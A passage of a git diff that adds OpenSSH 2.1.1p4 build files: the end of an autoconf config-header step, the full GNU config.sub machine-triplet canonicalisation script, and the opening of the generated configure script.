-f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + rm -f conftest.frag conftest.h + echo "/* $ac_file. Generated automatically by configure. */" > conftest.h + cat conftest.in >> conftest.h + rm -f conftest.in + if cmp -s $ac_file conftest.h 2>/dev/null; then + echo "$ac_file is unchanged" + rm -f conftest.h + else + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + fi + rm -f $ac_file + mv conftest.h $ac_file + fi +fi; done + + + +exit 0 diff --git a/other/openssh-2.1.1p4/config.sub b/other/openssh-2.1.1p4/config.sub new file mode 100755 index 0000000..0997570 --- /dev/null +++ b/other/openssh-2.1.1p4/config.sub @@ -0,0 +1,1312 @@ +#! /bin/sh +# Configuration validation subroutine script, version 1.1. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000 +# Free Software Foundation, Inc. + +version='2000-06-10' + +# This file is (in principle) common to ALL GNU software. +# The presence of a machine in this file suggests that SOME GNU software +# can handle that machine. It does not imply ALL GNU software can. +# +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, +# Boston, MA 02111-1307, USA. + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Written by Per Bothner . +# Please send patches to . +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS + $0 [OPTION] ALIAS + +Canonicalize a configuration name. + +Operation modes: + -h, --help print this help, then exit + -V, --version print version number, then exit" + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case "$1" in + --version | --vers* | -V ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + exec >&2 + echo "$me: invalid option $1" + echo "$help" + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo $1 + exit 0;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). +# Here we must recognize all the valid KERNEL-OS combinations. +maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` +case $maybe_os in + nto-qnx* | linux-gnu*) + os=-$maybe_os + basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` + ;; + *) + basic_machine=`echo $1 | sed 's/-[^-]*$//'` + if [ $basic_machine != $1 ] + then os=`echo $1 | sed 's/.*-/-/'` + else os=; fi + ;; +esac + +### Let's recognize common machines as not being operating systems so +### that things like config.sub decstation-3100 work. We also +### recognize some manufacturers as not being operating systems, so we +### can provide default operating systems below. +case $os in + -sun*os*) + # Prevent following clause from handling this invalid input. + ;; + -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ + -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ + -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ + -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ + -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ + -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ + -apple | -axis) + os= + basic_machine=$1 + ;; + -sim | -cisco | -oki | -wec | -winbond) + os= + basic_machine=$1 + ;; + -scout) + ;; + -wrs) + os=-vxworks + basic_machine=$1 + ;; + -hiux*) + os=-hiuxwe2 + ;; + -sco5) + os=-sco3.2v5 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco4) + os=-sco3.2v4 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2.[4-9]*) + os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2v[4-9]*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco*) + os=-sco3.2v2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -udk*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -isc) + os=-isc2.2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -clix*) + basic_machine=clipper-intergraph + ;; + -isc*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -lynx*) + os=-lynxos + ;; + -ptx*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` + ;; + -windowsnt*) + os=`echo $os | sed -e 's/windowsnt/winnt/'` + ;; + -psos*) + os=-psos + ;; + -mint | -mint[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; +esac + +# Decode aliases for certain CPU-COMPANY combinations. +case $basic_machine in + # Recognize the basic CPU types without company name. + # Some are omitted here because they have special meanings below. + tahoe | i860 | ia64 | m32r | m68k | m68000 | m88k | ns32k | arc | arm \ + | arme[lb] | pyramid | mn10200 | mn10300 | tron | a29k \ + | 580 | i960 | h8300 \ + | x86 | ppcbe | mipsbe | mipsle | shbe | shle | armbe | armle \ + | hppa | hppa1.0 | hppa1.1 | hppa2.0 | hppa2.0w | hppa2.0n \ + | hppa64 \ + | alpha | alphaev[4-8] | alphaev56 | alphapca5[67] \ + | alphaev6[78] \ + | we32k | ns16k | clipper | i370 | sh | powerpc | powerpcle \ + | 1750a | dsp16xx | pdp11 | mips16 | mips64 | mipsel | mips64el \ + | mips64orion | mips64orionel | mipstx39 | mipstx39el \ + | mips64vr4300 | mips64vr4300el | mips64vr4100 | mips64vr4100el \ + | mips64vr5000 | miprs64vr5000el | mcore \ + | sparc | sparclet | sparclite | sparc64 | sparcv9 | v850 | c4x \ + | thumb | d10v | fr30 | avr) + basic_machine=$basic_machine-unknown + ;; + m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | z8k | v70 | h8500 | w65 | pj | pjl) + ;; + + # We use `pc' rather than `unknown' + # because (1) that's what they normally are, and + # (2) the word "unknown" tends to confuse beginning users. + i[34567]86) + basic_machine=$basic_machine-pc + ;; + # Object if more than one company name word. + *-*-*) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; + # Recognize the basic CPU types with company name. + # FIXME: clean up the formatting here. + vax-* | tahoe-* | i[34567]86-* | i860-* | ia64-* | m32r-* | m68k-* | m68000-* \ + | m88k-* | sparc-* | ns32k-* | fx80-* | arc-* | arm-* | c[123]* \ + | mips-* | pyramid-* | tron-* | a29k-* | romp-* | rs6000-* \ + | power-* | none-* | 580-* | cray2-* | h8300-* | h8500-* | i960-* \ + | xmp-* | ymp-* \ + | x86-* | ppcbe-* | mipsbe-* | mipsle-* | shbe-* | shle-* | armbe-* | armle-* \ + | hppa-* | hppa1.0-* | hppa1.1-* | hppa2.0-* | hppa2.0w-* \ + | hppa2.0n-* | hppa64-* \ + | alpha-* | alphaev[4-8]-* | alphaev56-* | alphapca5[67]-* \ + | alphaev6[78]-* \ + | we32k-* | cydra-* | ns16k-* | pn-* | np1-* | xps100-* \ + | clipper-* | orion-* \ + | sparclite-* | pdp11-* | sh-* | powerpc-* | powerpcle-* \ + | sparc64-* | sparcv9-* | sparc86x-* | mips16-* | mips64-* | mipsel-* \ + | mips64el-* | mips64orion-* | mips64orionel-* \ + | mips64vr4100-* | mips64vr4100el-* | mips64vr4300-* | mips64vr4300el-* \ + | mipstx39-* | mipstx39el-* | mcore-* \ + | f301-* | armv*-* | s390-* | sv1-* | t3e-* \ + | m88110-* | m680[01234]0-* | m683?2-* | m68360-* | z8k-* | d10v-* \ + | thumb-* | v850-* | d30v-* | tic30-* | c30-* | fr30-* \ + | bs2000-*) + ;; + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 386bsd) + basic_machine=i386-unknown + os=-bsd + ;; + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + basic_machine=m68000-att + ;; + 3b*) + basic_machine=we32k-att + ;; + a29khif) + basic_machine=a29k-amd + os=-udi + ;; + adobe68k) + basic_machine=m68010-adobe + os=-scout + ;; + alliant | fx80) + basic_machine=fx80-alliant + ;; + altos | altos3068) + basic_machine=m68k-altos + ;; + am29k) + basic_machine=a29k-none + os=-bsd + ;; + amdahl) + basic_machine=580-amdahl + os=-sysv + ;; + amiga | amiga-*) + basic_machine=m68k-cbm + ;; + amigaos | amigados) + basic_machine=m68k-cbm + os=-amigaos + ;; + amigaunix | amix) + basic_machine=m68k-cbm + os=-sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + os=-sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + os=-bsd + ;; + aux) + basic_machine=m68k-apple + os=-aux + ;; + balance) + basic_machine=ns32k-sequent + os=-dynix + ;; + convex-c1) + basic_machine=c1-convex + os=-bsd + ;; + convex-c2) + basic_machine=c2-convex + os=-bsd + ;; + convex-c32) + basic_machine=c32-convex + os=-bsd + ;; + convex-c34) + basic_machine=c34-convex + os=-bsd + ;; + convex-c38) + basic_machine=c38-convex + os=-bsd + ;; + cray | ymp) + basic_machine=ymp-cray + os=-unicos + ;; + cray2) + basic_machine=cray2-cray + os=-unicos + ;; + [ctj]90-cray) + basic_machine=c90-cray + os=-unicos + ;; + crds | unos) + basic_machine=m68k-crds + ;; + cris | cris-* | etrax*) + basic_machine=cris-axis + ;; + da30 | da30-*) + basic_machine=m68k-da30 + ;; + decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) + basic_machine=mips-dec + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + basic_machine=m68k-motorola + ;; + delta88) + basic_machine=m88k-motorola + os=-sysv3 + ;; + dpx20 | dpx20-*) + basic_machine=rs6000-bull + os=-bosx + ;; + dpx2* | dpx2*-bull) + basic_machine=m68k-bull + os=-sysv3 + ;; + ebmon29k) + basic_machine=a29k-amd + os=-ebmon + ;; + elxsi) + basic_machine=elxsi-elxsi + os=-bsd + ;; + encore | umax | mmax) + basic_machine=ns32k-encore + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + os=-ose + ;; + fx2800) + basic_machine=i860-alliant + ;; + genix) + basic_machine=ns32k-ns + ;; + gmicro) + basic_machine=tron-gmicro + os=-sysv + ;; + h3050r* | hiux*) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + h8300hms) + basic_machine=h8300-hitachi + os=-hms + ;; + h8300xray) + basic_machine=h8300-hitachi + os=-xray + ;; + h8500hms) + basic_machine=h8500-hitachi + os=-hms + ;; + harris) + basic_machine=m88k-harris + os=-sysv3 + ;; + hp300-*) + basic_machine=m68k-hp + ;; + hp300bsd) + basic_machine=m68k-hp + os=-bsd + ;; + hp300hpux) + basic_machine=m68k-hp + os=-hpux + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + basic_machine=m68000-hp + ;; + hp9k3[2-9][0-9]) + basic_machine=m68k-hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + basic_machine=hppa1.1-hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hppa-next) + os=-nextstep3 + ;; + hppaosf) + basic_machine=hppa1.1-hp + os=-osf + ;; + hppro) + basic_machine=hppa1.1-hp + os=-proelf + ;; + i370-ibm* | ibm*) + basic_machine=i370-ibm + ;; +# I'm not sure what "Sysv32" means. Should this be sysv3.2? + i[34567]86v32) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv32 + ;; + i[34567]86v4*) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv4 + ;; + i[34567]86v) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv + ;; + i[34567]86sol2) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-solaris2 + ;; + i386mach) + basic_machine=i386-mach + os=-mach + ;; + i386-vsta | vsta) + basic_machine=i386-unknown + os=-vsta + ;; + i386-go32 | go32) + basic_machine=i386-unknown + os=-go32 + ;; + i386-mingw32 | mingw32) + basic_machine=i386-unknown + os=-mingw32 + ;; + iris | iris4d) + basic_machine=mips-sgi + case $os in + -irix*) + ;; + *) + os=-irix4 + ;; + esac + ;; + isi68 | isi) + basic_machine=m68k-isi + os=-sysv + ;; + m88k-omron*) + basic_machine=m88k-omron + ;; + magnum | m3230) + basic_machine=mips-mips + os=-sysv + ;; + merlin) + basic_machine=ns32k-utek + os=-sysv + ;; + miniframe) + basic_machine=m68000-convergent + ;; + *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; + mipsel*-linux*) + basic_machine=mipsel-unknown + os=-linux-gnu + ;; + mips*-linux*) + basic_machine=mips-unknown + os=-linux-gnu + ;; + mips3*-*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` + ;; + mips3*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown + ;; + mmix*) + basic_machine=mmix-knuth + os=-mmixware + ;; + monitor) + basic_machine=m68k-rom68k + os=-coff + ;; + msdos) + basic_machine=i386-unknown + os=-msdos + ;; + mvs) + basic_machine=i370-ibm + os=-mvs + ;; + ncr3000) + basic_machine=i486-ncr + os=-sysv4 + ;; + netbsd386) + basic_machine=i386-unknown + os=-netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + os=-linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + os=-newsos + ;; + news1000) + basic_machine=m68030-sony + os=-newsos + ;; + news-3600 | risc-news) + basic_machine=mips-sony + os=-newsos + ;; + necv70) + basic_machine=v70-nec + os=-sysv + ;; + next | m*-next ) + basic_machine=m68k-next + case $os in + -nextstep* ) + ;; + -ns2*) + os=-nextstep2 + ;; + *) + os=-nextstep3 + ;; + esac + ;; + nh3000) + basic_machine=m68k-harris + os=-cxux + ;; + nh[45]000) + basic_machine=m88k-harris + os=-cxux + ;; + nindy960) + basic_machine=i960-intel + os=-nindy + ;; + mon960) + basic_machine=i960-intel + os=-mon960 + ;; + np1) + basic_machine=np1-gould + ;; + nsr-tandem) + basic_machine=nsr-tandem + ;; + op50n-* | op60c-*) + basic_machine=hppa1.1-oki + os=-proelf + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + os=-ose + ;; + os68k) + basic_machine=m68k-none + os=-os68k + ;; + pa-hitachi) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + paragon) + basic_machine=i860-intel + os=-osf + ;; + pbd) + basic_machine=sparc-tti + ;; + pbb) + basic_machine=m68k-tti + ;; + pc532 | pc532-*) + basic_machine=ns32k-pc532 + ;; + pentium | p5 | k5 | k6 | nexen) + basic_machine=i586-pc + ;; + pentiumpro | p6 | 6x86 | athlon) + basic_machine=i686-pc + ;; + pentiumii | pentium2) + basic_machine=i786-pc + ;; + pentium-* | p5-* | k5-* | k6-* | nexen-*) + basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumpro-* | p6-* | 6x86-* | athlon-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumii-* | pentium2-*) + basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pn) + basic_machine=pn-gould + ;; + power) basic_machine=rs6000-ibm + ;; + ppc) basic_machine=powerpc-unknown + ;; + ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppcle | powerpclittle | ppc-le | powerpc-little) + basic_machine=powerpcle-unknown + ;; + ppcle-* | powerpclittle-*) + basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ps2) + basic_machine=i386-ibm + ;; + rom68k) + basic_machine=m68k-rom68k + os=-coff + ;; + rm[46]00) + basic_machine=mips-siemens + ;; + rtpc | rtpc-*) + basic_machine=romp-ibm + ;; + sa29200) + basic_machine=a29k-amd + os=-udi + ;; + sequent) + basic_machine=i386-sequent + ;; + sh) + basic_machine=sh-hitachi + os=-hms + ;; + sparclite-wrs) + basic_machine=sparclite-wrs + os=-vxworks + ;; + sps7) + basic_machine=m68k-bull + os=-sysv2 + ;; + spur) + basic_machine=spur-unknown + ;; + st2000) + basic_machine=m68k-tandem + ;; + stratus) + basic_machine=i860-stratus + os=-sysv4 + ;; + sun2) + basic_machine=m68000-sun + ;; + sun2os3) + basic_machine=m68000-sun + os=-sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + os=-sunos4 + ;; + sun3os3) + basic_machine=m68k-sun + os=-sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + os=-sunos4 + ;; + sun4os3) + basic_machine=sparc-sun + os=-sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + os=-sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + os=-solaris2 + ;; + sun3 | sun3-*) + basic_machine=m68k-sun + ;; + sun4) + basic_machine=sparc-sun + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + ;; + sv1) + basic_machine=sv1-cray + os=-unicos + ;; + symmetry) + basic_machine=i386-sequent + os=-dynix + ;; + t3e) + basic_machine=t3e-cray + os=-unicos + ;; + tx39) + basic_machine=mipstx39-unknown + ;; + tx39el) + basic_machine=mipstx39el-unknown + ;; + tower | tower-32) + basic_machine=m68k-ncr + ;; + udi29k) + basic_machine=a29k-amd + os=-udi + ;; + ultra3) + basic_machine=a29k-nyu + os=-sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + os=-none + ;; + vaxv) + basic_machine=vax-dec + os=-sysv + ;; + vms) + basic_machine=vax-dec + os=-vms + ;; + vpp*|vx|vx-*) + basic_machine=f301-fujitsu + ;; + vxworks960) + basic_machine=i960-wrs + os=-vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + os=-vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + os=-vxworks + ;; + w65*) + basic_machine=w65-wdc + os=-none + ;; + w89k-*) + basic_machine=hppa1.1-winbond + os=-proelf + ;; + xmp) + basic_machine=xmp-cray + os=-unicos + ;; + xps | xps100) + basic_machine=xps100-honeywell + ;; + z8k-*-coff) + basic_machine=z8k-unknown + os=-sim + ;; + none) + basic_machine=none-none + os=-none + ;; + +# Here we handle the default manufacturer of certain CPU types. It is in +# some cases the only manufacturer, in others, it is the most popular. + w89k) + basic_machine=hppa1.1-winbond + ;; + op50n) + basic_machine=hppa1.1-oki + ;; + op60c) + basic_machine=hppa1.1-oki + ;; + mips) + if [ x$os = x-linux-gnu ]; then + basic_machine=mips-unknown + else + basic_machine=mips-mips + fi + ;; + romp) + basic_machine=romp-ibm + ;; + rs6000) + basic_machine=rs6000-ibm + ;; + vax) + basic_machine=vax-dec + ;; + pdp11) + basic_machine=pdp11-dec + ;; + we32k) + basic_machine=we32k-att + ;; + sparc | sparcv9) + basic_machine=sparc-sun + ;; + cydra) + basic_machine=cydra-cydrome + ;; + orion) + basic_machine=orion-highlevel + ;; + orion105) + basic_machine=clipper-highlevel + ;; + mac | mpw | mac-mpw) + basic_machine=m68k-apple + ;; + pmac | pmac-mpw) + basic_machine=powerpc-apple + ;; + c4x*) + basic_machine=c4x-none + os=-coff + ;; + *) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case $basic_machine in + *-digital*) + basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` + ;; + *-commodore*) + basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if [ x"$os" != x"" ] +then +case $os in + # First match some system type aliases + # that might get confused with valid system types. + # -solaris* is a basic system type, with this one exception. + -solaris1 | -solaris1.*) + os=`echo $os | sed -e 's|solaris1|sunos4|'` + ;; + -solaris) + os=-solaris2 + ;; + -svr4*) + os=-sysv4 + ;; + -unixware*) + os=-sysv4.2uw + ;; + -gnu/linux*) + os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` + ;; + # First accept the basic system types. + # The portable systems comes first. + # Each alternative MUST END IN A *, to match a version number. + # -sysv* is not here because it comes later, after sysvr4. + -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ + | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ + | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ + | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ + | -aos* \ + | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ + | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ + | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \ + | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ + | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ + | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ + | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ + | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \ + | -interix* | -uwin* | -rhapsody* | -darwin* | -opened* \ + | -openstep* | -oskit*) + # Remember, each alternative MUST END IN *, to match a version number. + ;; + -qnx*) + case $basic_machine in + x86-* | i[34567]86-*) + ;; + *) + os=-nto$os + ;; + esac + ;; + -nto*) + os=-nto-qnx + ;; + -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ + | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ + | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) + ;; + -mac*) + os=`echo $os | sed -e 's|mac|macos|'` + ;; + -linux*) + os=`echo $os | sed -e 's|linux|linux-gnu|'` + ;; + -sunos5*) + os=`echo $os | sed -e 's|sunos5|solaris2|'` + ;; + -sunos6*) + os=`echo $os | sed -e 's|sunos6|solaris3|'` + ;; + -opened*) + os=-openedition + ;; + -wince*) + os=-wince + ;; + -osfrose*) + os=-osfrose + ;; + -osf*) + os=-osf + ;; + -utek*) + os=-bsd + ;; + -dynix*) + os=-bsd + ;; + -acis*) + os=-aos + ;; + -386bsd) + os=-bsd + ;; + -ctix* | -uts*) + os=-sysv + ;; + -ns2 ) + os=-nextstep2 + ;; + -nsk) + os=-nsk + ;; + # Preserve the version number of sinix5. + -sinix5.*) + os=`echo $os | sed -e 's|sinix|sysv|'` + ;; + -sinix*) + os=-sysv4 + ;; + -triton*) + os=-sysv3 + ;; + -oss*) + os=-sysv3 + ;; + -svr4) + os=-sysv4 + ;; + -svr3) + os=-sysv3 + ;; + -sysvr4) + os=-sysv4 + ;; + # This must come after -sysvr4. + -sysv*) + ;; + -ose*) + os=-ose + ;; + -es1800*) + os=-ose + ;; + -xenix) + os=-xenix + ;; + -*mint | -*MiNT) + os=-mint + ;; + -none) + ;; + *) + # Get rid of the `-' at the beginning of $os. + os=`echo $os | sed 's/[^-]*-//'` + echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 + exit 1 + ;; +esac +else + +# Here we handle the default operating systems that come with various machines. +# The value should be what the vendor currently ships out the door with their +# machine or put another way, the most popular os provided with the machine. + +# Note that if you're going to try to match "-MANUFACTURER" here (say, +# "-sun"), then you have to tell the case statement up towards the top +# that MANUFACTURER isn't an operating system. Otherwise, code above +# will signal an error saying that MANUFACTURER isn't an operating +# system, and we'll never get to this point. + +case $basic_machine in + *-acorn) + os=-riscix1.2 + ;; + arm*-rebel) + os=-linux + ;; + arm*-semi) + os=-aout + ;; + pdp11-*) + os=-none + ;; + *-dec | vax-*) + os=-ultrix4.2 + ;; + m68*-apollo) + os=-domain + ;; + i386-sun) + os=-sunos4.0.2 + ;; + m68000-sun) + os=-sunos3 + # This also exists in the configure program, but was not the + # default. + # os=-sunos4 + ;; + m68*-cisco) + os=-aout + ;; + mips*-cisco) + os=-elf + ;; + mips*-*) + os=-elf + ;; + *-tti) # must be before sparc entry or we get the wrong os. + os=-sysv3 + ;; + sparc-* | *-sun) + os=-sunos4.1.1 + ;; + *-be) + os=-beos + ;; + *-ibm) + os=-aix + ;; + *-wec) + os=-proelf + ;; + *-winbond) + os=-proelf + ;; + *-oki) + os=-proelf + ;; + *-hp) + os=-hpux + ;; + *-hitachi) + os=-hiux + ;; + i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) + os=-sysv + ;; + *-cbm) + os=-amigaos + ;; + *-dg) + os=-dgux + ;; + *-dolphin) + os=-sysv3 + ;; + m68k-ccur) + os=-rtu + ;; + m88k-omron*) + os=-luna + ;; + *-next ) + os=-nextstep + ;; + *-sequent) + os=-ptx + ;; + *-crds) + os=-unos + ;; + *-ns) + os=-genix + ;; + i370-*) + os=-mvs + ;; + *-next) + os=-nextstep3 + ;; + *-gould) + os=-sysv + ;; + *-highlevel) + os=-bsd + ;; + *-encore) + os=-bsd + ;; + *-sgi) + os=-irix + ;; + *-siemens) + os=-sysv4 + ;; + *-masscomp) + os=-rtu + ;; + f301-fujitsu) + os=-uxpv + ;; + *-rom68k) + os=-coff + ;; + *-*bug) + os=-coff + ;; + *-apple) + os=-macos + ;; + *-atari*) + os=-mint + ;; + *) + os=-none + ;; +esac +fi + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +vendor=unknown +case $basic_machine in + *-unknown) + case $os in + -riscix*) + vendor=acorn + ;; + -sunos*) + vendor=sun + ;; + -aix*) + vendor=ibm + ;; + -beos*) + vendor=be + ;; + -hpux*) + vendor=hp + ;; + -mpeix*) + vendor=hp + ;; + -hiux*) + vendor=hitachi + ;; + -unos*) + vendor=crds + ;; + -dgux*) + vendor=dg + ;; + -luna*) + vendor=omron + ;; + -genix*) + vendor=ns + ;; + -mvs* | -opened*) + vendor=ibm + ;; + -ptx*) + vendor=sequent + ;; + -vxsim* | -vxworks*) + vendor=wrs + ;; + -aux*) + vendor=apple + ;; + -hms*) + vendor=hitachi + ;; + -mpw* | -macos*) + vendor=apple + ;; + -*mint | -*MiNT) + vendor=atari + ;; + esac + basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` + ;; +esac + +echo $basic_machine$os +exit 0 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "version='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/other/openssh-2.1.1p4/configure b/other/openssh-2.1.1p4/configure new file mode 100755 index 0000000..4382488 --- /dev/null +++ b/other/openssh-2.1.1p4/configure @@ -0,0 +1,6694 @@ +#! /bin/sh + +# Guess values for system-dependent variables and create Makefiles. +# Generated automatically using autoconf version 2.13 +# Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc. +# +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. + +# Defaults: +ac_help= +ac_default_prefix=/usr/local +# Any additions from configure.in: +ac_help="$ac_help + --with-cflags Specify additional flags to pass to compiler" +ac_help="$ac_help + --with-ldlags Specify additional flags to pass to linker" +ac_help="$ac_help + --with-libs Specify additional libraries to link with" +ac_help="$ac_help + --without-pam Disable PAM support " +ac_help="$ac_help + --with-ssl-dir=PATH Specify path to OpenSSL installation " +ac_help="$ac_help + --with-rsh=PATH Specify path to remote shell program " +ac_help="$ac_help + --with-xauth=PATH Specify path to xauth program " +ac_help="$ac_help + --with-random=FILE read randomness 